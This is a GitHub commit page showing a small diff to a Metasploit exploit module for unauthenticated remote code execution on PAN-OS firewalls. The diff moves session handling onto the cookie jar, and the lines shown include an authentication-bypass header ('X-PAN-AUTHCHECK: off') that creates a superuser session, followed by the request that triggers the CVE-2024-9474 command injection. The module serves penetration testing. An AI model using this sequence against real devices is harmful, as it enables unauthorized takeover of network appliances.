Skip to content

Commit edf8d18

Browse files
committed
use the HttpClient cookie jar. Thank you @jheysel-r7 for this improvement.
1 parent c25b3ce commit edf8d18

File tree

1 file changed

+3
-6
lines changed

1 file changed

+3
-6
lines changed

modules/exploits/linux/http/panos_management_unauth_rce.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -203,6 +203,7 @@ def execute_cmd(cmd, dontfail: false)
203203
'headers' => {
204204
'X-PAN-AUTHCHECK' => 'off'
205205
},
206+
'keep_cookies' => true,
206207
'vars_post' => {
207208
'user' => user,
208209
'userRole' => 'superuser',
@@ -219,19 +220,15 @@ def execute_cmd(cmd, dontfail: false)
219220
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
220221
end
221222

222-
php_session_id = res1.body.to_s.match(/PHPSESSID=([a-z0-9]+)@/)
223-
224-
unless php_session_id
223+
unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
225224
fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
226225
end
227226

228227
# Trigger the command injection (CVE-2024-9474).
229228
res2 = send_request_cgi(
230229
'method' => 'GET',
231230
'uri' => normalize_uri('index.php', '.js.map'),
232-
'headers' => {
233-
'Cookie' => "PHPSESSID=#{php_session_id[1]};"
234-
}
231+
'keep_cookies' => true
235232
)
236233

237234
unless res2&.code == 200

0 commit comments

Comments
 (0)